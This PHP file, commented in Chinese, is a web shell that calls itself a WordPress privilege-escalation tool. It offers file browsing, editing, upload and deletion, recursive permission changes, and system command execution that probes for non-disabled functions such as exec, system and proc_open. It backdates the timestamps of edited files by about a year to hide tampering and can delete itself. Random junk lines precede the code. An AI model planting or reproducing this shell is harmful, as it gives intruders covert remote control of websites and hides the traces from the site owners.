sqdkjqlsjdklqsjdlqskjd
azjdjksqhvdjqskhdkqhsj
zkhjdhqksldjqlskdjlqskjd
zjhdjqlskdhqsljkhdsqd
';
echo '';
echo '
';
echo '' . $title . '';
echo '';
echo '';
echo '';
echo '';
echo '';
echo '
' . $title . '
';
}
// HTML尾部
function html_footer() {
echo '';
echo '';
echo '';
}
// 显示操作结果
function show_result($message, $is_error = false) {
$class = $is_error ? 'result error' : 'result';
echo '';
echo nl2br($message);
echo '
';
}
// 检查是否是WordPress目录
function is_wordpress_directory($dir = '.') {
return file_exists($dir . '/wp-config.php') && file_exists($dir . '/wp-blog-header.php');
}
// 获取目录中所有文件列表(递归)
function get_all_files($dir) {
$files = [];
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
$files[] = $file->getPathname();
}
} catch (Exception $e) {
// 忽略遍历错误
}
return $files;
}
// 获取目录下的直接文件和文件夹(非递归)
function get_directory_items($dir) {
$items = [];
if (!is_dir($dir)) {
return $items;
}
$handle = opendir($dir);
if ($handle === false) {
return $items;
}
while (($item = readdir($handle)) !== false) {
if ($item != '.' && $item != '..') {
$items[] = $item;
}
}
closedir($handle);
// 排序:目录在前,文件在后
usort($items, function($a, $b) use ($dir) {
$a_is_dir = is_dir($dir . '/' . $a);
$b_is_dir = is_dir($dir . '/' . $b);
if ($a_is_dir && !$b_is_dir) return -1;
if (!$a_is_dir && $b_is_dir) return 1;
return strcmp($a, $b);
});
return $items;
}
// 修改文件时间
function modify_file_time($file_path) {
$now = time();
$target_time = $now - (365 * 24 * 60 * 60) - (30 * 24 * 60 * 60);
$target_time += rand(0, 23 * 60 * 60); // 随机小时
$target_time += rand(0, 59 * 60); // 随机分钟
$target_time += rand(0, 59); // 随机秒
if (touch($file_path, $target_time, $target_time)) {
return true;
} else {
return false;
}
}
// 修改文件权限
function modify_file_permission($file_path, $permissions = 0755) {
if (chmod($file_path, $permissions)) {
return "成功修改文件权限为 " . decoct($permissions);
} else {
return "修改文件权限失败";
}
}
// 编辑文件内容
function edit_file_content($file_path, $new_content) {
if (file_put_contents($file_path, $new_content) !== false) {
// 成功编辑文件内容后,修改文件时间
if (modify_file_time($file_path)) {
return "成功编辑文件内容并设置修改时间为前一年前一个月";
} else {
return "编辑文件内容成功,但修改文件时间失败";
}
} else {
return "编辑文件内容失败";
}
}
// 删除文件
function delete_file($file_path) {
if (unlink($file_path)) {
return "成功删除文件";
} else {
return "删除文件失败";
}
}
// 递归修改文件夹权限
function recursive_chmod($dir, $permissions = 0755) {
$result = [];
// 修改当前目录权限
if (chmod($dir, $permissions)) {
$result[] = "成功修改目录权限: " . $dir . " 为 " . decoct($permissions);
} else {
$result[] = "修改目录权限失败: " . $dir;
}
// 修改所有子文件和子目录
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (chmod($item->getPathname(), $permissions)) {
$result[] = "成功修改: " . $item->getPathname() . " 为 " . decoct($permissions);
} else {
$result[] = "修改失败: " . $item->getPathname();
}
}
} catch (Exception $e) {
$result[] = "遍历目录时出错: " . $e->getMessage();
}
return implode("\n", $result);
}
// 执行系统命令
function execute_system_command($command) {
// 设置文件描述符
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入
1 => array("pipe", "w"), // 标准输出
2 => array("pipe", "w") // 标准错误
);
// 创建进程
$process = proc_open($command, $descriptorspec, $pipes);
$output = '';
$error = '';
$return_var = 0;
if (is_resource($process)) {
// 关闭标准输入
fclose($pipes[0]);
// 读取标准输出
while (!feof($pipes[1])) {
$output .= fread($pipes[1], 1024);
}
// 读取标准错误
while (!feof($pipes[2])) {
$error .= fread($pipes[2], 1024);
}
// 关闭管道
fclose($pipes[1]);
fclose($pipes[2]);
// 获取返回值
$return_var = proc_close($process);
// 合并标准输出和错误输出
if (!empty($error)) {
$output .= "\n错误输出:\n" . $error;
}
}
return [
'output' => $output,
'return_code' => $return_var
];
}
// 上传文件
function upload_file($target_path = '.') {
if (!isset($_FILES['file'])) {
return "没有文件上传";
}
if (!is_dir($target_path)) {
return "目标路径不是有效的目录";
}
$file_name = basename($_FILES['file']['name']);
$target_file = $target_path . '/' . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
return "文件上传成功: " . $target_file;
} else {
return "文件上传失败: " . $_FILES['file']['error'];
}
}
// 显示主菜单
function show_main_menu() {
html_header();
echo '';
echo '这是WordPress提权工具,提供以下功能:
';
echo '';
echo '- 获取WordPress目录所有文件列表
';
echo '- 编辑文件内容
';
echo '- 修改文件更新时间(设置为一年前)
';
echo '- 修改文件权限
';
echo '- 删除文件
';
echo '- 上传文件到指定路径
';
echo '- 执行系统命令
';
echo '- 递归修改文件夹权限
';
echo '
';
html_footer();
}
// 查找WordPress根目录(ABSPATH)
function find_wordpress_root() {
// 尝试获取WordPress的ABSPATH常量
if (isset($_SERVER['DOCUMENT_ROOT'])) {
return $_SERVER['DOCUMENT_ROOT'];
}
// 从当前目录开始向上查找
$dir = getcwd();
// 向上查找最多5层目录
for ($i = 0; $i < 5; $i++) {
if (is_wordpress_directory($dir)) {
return $dir;
}
// 获取父目录
$parent_dir = dirname($dir);
if ($parent_dir === $dir) { // 到达文件系统根目录
break;
}
$dir = $parent_dir;
}
// 如果找不到WordPress目录,返回当前目录
return getcwd();
}
// 处理文件列表页面
function handle_file_list() {
html_header("文件管理");
echo '';
// 查找WordPress根目录(ABSPATH)
$wp_root = find_wordpress_root();
// 设置默认目录为WordPress根目录
$dir = isset($_GET['dir']) ? $_GET['dir'] : $wp_root;
// 安全检查,防止目录遍历攻击
$real_dir = realpath($dir);
if ($real_dir === false) {
show_result("无效的目录路径", true);
echo '返回文件管理';
html_footer();
return;
}
echo '文件列表 - ' . htmlspecialchars($real_dir) . '
';
// 返回上级目录
$parent_dir = dirname($real_dir);
if ($parent_dir !== $real_dir) { // 如果不是根目录
echo '.. 返回上级目录
';
}
// 处理权限修改POST请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['modify_perm'])) {
$file_path = isset($_POST['file_path']) ? $_POST['file_path'] : '';
$return_dir = isset($_POST['return_dir']) ? $_POST['return_dir'] : (isset($_GET['dir']) ? $_GET['dir'] : $wp_root);
$perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
// 安全检查
$real_file_path = realpath($file_path);
if ($real_file_path === false || !file_exists($real_file_path)) {
$result_msg = '无效的文件路径';
$error_flag = '&error=1';
} else if (!preg_match('/^[0-7]{3}$/', $perm)) {
// 验证权限值格式(三位数字)
$result_msg = '无效的权限值,请输入三位八进制数字';
$error_flag = '&error=1';
} else {
// 执行权限修改
$permissions = octdec($perm);
$result_msg = modify_file_permission($real_file_path, $permissions);
$error_flag = strpos($result_msg, '失败') !== false ? '&error=1' : '';
}
// 确保返回目录是有效的绝对路径
$return_real_dir = realpath($return_dir);
if ($return_real_dir === false) {
$return_real_dir = $wp_root;
}
// 重定向回文件列表页面,显示结果
header('Location: ?action=files&dir=' . urlencode($return_real_dir) . '&result=' . urlencode($result_msg) . $error_flag);
exit;
}
// 显示文件操作结果
if (isset($_GET['result'])) {
$is_error = isset($_GET['error']) && $_GET['error'] == 1;
show_result(urldecode($_GET['result']), $is_error);
}
// 获取并显示当前目录下的直接文件和文件夹(非递归)
$items = get_directory_items($real_dir);
echo '';
echo '
共找到 ' . count($items) . ' 个文件/目录
';
foreach ($items as $item) {
$item_path = $real_dir . '/' . $item;
$is_dir = is_dir($item_path);
$type = $is_dir ? '[目录]' : '[文件]';
$size = $is_dir ? '' : ' (' . filesize($item_path) . ' bytes)';
$mod_time = date('Y-m-d H:i:s', filemtime($item_path));
$perms = decoct(fileperms($item_path) & 0777);
echo '
';
}
echo '
';
html_footer();
}
// 处理文件查看和操作
function handle_file_view() {
$file = isset($_GET['file']) ? $_GET['file'] : '';
$real_file = realpath($file);
if (!isset($_GET['file'])) {
header('Location: ?action=files');
exit;
}
$file = $_GET['file'];
// 安全检查
$real_file = realpath($file);
if ($real_file === false || !file_exists($real_file)) {
html_header("文件操作");
show_result("文件不存在", true);
echo '返回文件管理';
html_footer();
return;
}
html_header("文件操作 - " . basename($real_file));
echo '';
// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$result = '';
$is_error = false;
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'edit':
$new_content = $_POST['content'];
$result = edit_file_content($real_file, $new_content);
break;
case 'modify_time':
$result = modify_file_time($real_file);
break;
case 'delete':
if (isset($_POST['confirm']) && $_POST['confirm'] == 'yes') {
$result = delete_file($real_file);
// 删除成功后返回文件列表
if (strpos($result, '成功') !== false) {
header('Location: ?action=files&result=' . urlencode($result));
exit;
}
} else {
$result = "请确认删除操作";
$is_error = true;
}
break;
}
if ($result) {
show_result($result, strpos($result, '失败') !== false);
}
}
}
echo '文件: ' . htmlspecialchars($real_file) . '
';
// 已经在顶部菜单提供了导航链接,这里可以省略
// 显示文件内容编辑表单
if (is_file($real_file)) {
echo '编辑文件内容
';
echo '';
}
// 修改文件时间
echo '修改文件时间
';
echo '';
// 删除文件
echo '删除文件
';
echo '';
html_footer();
}
// 处理文件上传
function handle_upload() {
html_header("文件上传");
echo '';
// 处理上传请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_path = isset($_POST['target_path']) ? $_POST['target_path'] : '.';
$result = upload_file($target_path);
show_result($result, strpos($result, '失败') !== false);
}
echo '文件上传
';
echo '';
html_footer();
}
// 处理系统命令执行
function handle_command_execution() {
html_header("命令执行");
echo '';
echo '⚠️ 仅允许运维自身服务器使用,禁止未授权操作!
';
// 第一步:先检测所有可用的命令执行函数
$all_cmd_functions = [
'exec' => 'exec() - 获取完整输出及状态码',
'shell_exec' => 'shell_exec() - 获取完整输出',
'system' => 'system() - 获取完整输出及状态码',
'passthru' => 'passthru() - 获取原始完整输出及状态码(适合二进制)',
'proc_open' => 'proc_open() - 获取完整标准输出和错误输出(高级双向交互)',
'popen' => 'popen() - 获取完整输出(单向管道连接)'
];
$available_functions = [];
$disable_list = explode(',', ini_get('disable_functions'));
$disable_list = array_map('trim', $disable_list);
foreach ($all_cmd_functions as $func => $desc) {
if (function_exists($func) && !in_array($func, $disable_list)) {
$available_functions[$func] = $desc;
}
}
// 若无可⽤函数,直接提示
if (empty($available_functions)) {
show_result("❌ 无可用的命令执行函数(均已被禁用)", true);
html_footer();
return;
}
// 处理命令执行
$output = '';
$func_used = '';
// $status = 0; // 初始化status变量
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['func']) && !empty($_POST['cmd'])) {
$selected_func = trim($_POST['func']);
$cmd = trim($_POST['cmd']);
// 安全过滤:防止命令注入(关键!)
$cmd = escapeshellcmd($cmd);
$func_used = $all_cmd_functions[$selected_func] ?? $selected_func;
// 显示命令执行提示
show_result("正在执行命令: " . htmlspecialchars($cmd) . " (使用 $func_used)");
// 按选中的函数执行命令
switch ($selected_func) {
case 'exec':
exec($cmd, $exec_output, $status);
$output = implode("\n", $exec_output) . "\n(返回状态码:$status)";
break;
case 'shell_exec':
$output = shell_exec($cmd) ?: "命令执行无输出或失败";
break;
case 'system':
ob_start();
system($cmd, $status);
$output = ob_get_clean() . "\n(返回状态码:$status)";
break;
case 'passthru':
ob_start();
passthru($cmd, $status);
$output = ob_get_clean() . "\n(返回状态码:$status)";
break;
case 'proc_open':
$descriptors = [
0 => ['pipe', 'r'], // 输入
1 => ['pipe', 'w'], // 输出
2 => ['pipe', 'w'] // 错误
];
$process = proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
$output = $stdout;
// 只有当有错误信息时才添加错误信息标题
if (!empty(trim($stderr))) {
$output .= "\n错误信息:" . $stderr;
}
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
break;
case 'popen':
$handle = popen($cmd, 'r');
if (is_resource($handle)) {
$output = stream_get_contents($handle);
pclose($handle);
$output = $output . "\n(popen执行完成)";
}
break;
}
}
echo '系统命令执行
';
echo '';
echo '';
if (!empty($output)) {
echo '
';
echo '';
echo '
📋 执行结果(使用 ' . $func_used . '):
';
echo '
';
echo '
';
echo '
' . htmlspecialchars($output) . '
';
echo '
';
echo '
';
echo '';
}
echo '
';
echo '';
echo '
';
echo '⚠️';
echo '安全警告:执行完成后请立即删除本文件,避免安全风险!';
echo '
';
echo '
';
html_footer();
}
// 处理文件夹权限修改
function handle_folder_permission() {
html_header("修改权限");
echo '';
// 处理权限修改请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$dir = isset($_POST['directory']) ? $_POST['directory'] : '.';
$perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
$recursive = isset($_POST['recursive']) ? true : false;
$permissions = octdec($perm);
$result = $recursive ? recursive_chmod($dir, $permissions) : modify_file_permission($dir, $permissions);
show_result($result, strpos($result, '失败') !== false);
}
echo '修改文件夹权限
';
echo '';
html_footer();
}
// 处理文件自删除功能
function handle_self_delete() {
html_header("删除本文件");
// 获取当前文件路径
$current_file = __FILE__;
// 处理删除请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm']) && $_POST['confirm'] === 'yes') {
// 先输出删除确认信息
echo '';
echo '
⚠️ 文件删除确认
';
echo '
正在删除文件:' . htmlspecialchars($current_file) . '
';
echo '
';
// 尝试删除文件
if (unlink($current_file)) {
echo '';
echo '
✅ 删除成功
';
echo '
文件已成功删除!系统将在3秒后刷新页面。
';
echo '
';
// 刷新页面以便用户看到404错误
echo '';
} else {
echo '';
echo '
❌ 删除失败
';
echo '
无法删除文件,请检查文件权限。
';
echo '
返回主菜单
';
echo '
';
}
} else {
// 显示确认删除页面
echo '';
echo '
⚠️ 危险操作确认
';
echo '
您确定要删除当前文件吗?此操作无法撤销!
';
echo '
文件路径:' . htmlspecialchars($current_file) . '
';
echo '
';
echo '';
}
html_footer();
}
// 主控制器
function main_controller() {
$action = isset($_GET['action']) ? $_GET['action'] : 'index';
switch ($action) {
case 'index':
show_main_menu();
break;
case 'files':
handle_file_list();
break;
case 'file_view':
handle_file_view();
break;
case 'upload':
handle_upload();
break;
case 'command':
handle_command_execution();
break;
case 'permission':
handle_folder_permission();
break;
case 'self_delete':
handle_self_delete();
break;
default:
show_main_menu();
}
}
// 运行主控制器
main_controller();